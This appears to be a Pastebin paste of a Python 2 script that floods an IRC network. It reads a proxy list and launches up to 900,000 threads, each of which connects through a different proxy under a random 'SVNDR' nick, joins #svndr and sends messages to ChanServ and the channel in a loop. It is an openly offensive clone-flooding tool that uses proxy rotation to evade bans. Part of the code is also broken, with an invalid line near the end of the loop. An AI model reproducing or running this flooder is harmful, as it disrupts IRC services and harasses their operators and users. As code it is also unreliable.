Advertisement
Guest User

Untitled

a guest
May 23rd, 2018
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. import socks
  2. import random
  3. import threading
  4. import time
  5. import string
  6.  
  7. server = "irc.svndr.net"
  8. port = 6667
  9. proxylist = "proxy.txt"
  10. channels = ["#svndr"]
  11.  
  12. i = 0
  13. fil = open(proxylist, "r")
  14. lines = fil.readlines()
  15. fil.close()
  16. random.shuffle(lines)
  17.  
  18. class MyThread(threading.Thread):
  19. def run(self):
  20. number = random.randint(1,99999)
  21. ircsock = socks.socksocket()
  22. choice = proxy.split(":")
  23. pport = choice[1]
  24. pserver = choice[0]
  25. lol = 1
  26. pport = pport.replace("\n", "")
  27. try:
  28. ircsock.setproxy(socks.PROXY_TYPE_HTTP, pserver, int(pport))
  29. ircsock.connect((server, port))
  30. print("joined");
  31. time.sleep(5)
  32. ircsock.send("USER "+ nick +" "+ nick +" "+ nick +" :"+ nick +"\n")
  33. ircsock.send("NICK "+ nick +"\n")
  34. ircsock.send("USER "+ nick +" "+ nick +" "+ nick +" :"+ nick +"\n")
  35. ircsock.send("NICK "+ nick +"\n")
  36. while 1:
  37. ircmsg = ircsock.recv(1024)
  38. ircmsg = ircmsg.strip('\n\r')
  39. ircmsg = ircmsg.lower()
  40. number = random.randint(5, 10)
  41. chn = random.choice(channels)
  42.  
  43. if ircmsg.find("ping :") != -1:
  44. if ircmsg.find("timeout") != -1 or ircmsg.find("quit") != -1:
  45. print("Left")
  46.  
  47. else:
  48. ping = ircmsg.split("ping :")
  49. ircsock.send("PONG "+ ping[1] +"\n")
  50. ircsock.send("JOIN "+ chn +"\n")
  51. for x in xrange(10):
  52. ircsock.send('PRIVMSG chanserv :help\r\n')
  53. # ircsock.send('PRIVMSG nickname :message\r\n')
  54. if <help>.startswith("!chanserv")
  55. ircsock.send('PRIVMSG ' + chn + ' :' + "" + '\r\n')
  56. ircsock.send("JOIN "+ chn +"\n")
  57. # ircsock.send("PART "+ chn +"\n")
  58. time.sleep(0.5)
  59.  
  60. except:
  61. ircsock.close()
  62.  
  63. for x in xrange(900000):
  64. nicklength = random.randint(3,6)
  65. number = random.randint(3,6)
  66. numbertwo = random.randint(6,10)
  67. nick = "SVNDR".join(random.choice(string.letters) for _ in range(nicklength))
  68. proxy = lines[i]
  69. print("Proxy #")
  70. print(i)
  71. i = i + 1
  72.  
  73. MyThread().start()
  74. time.sleep(0.05)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement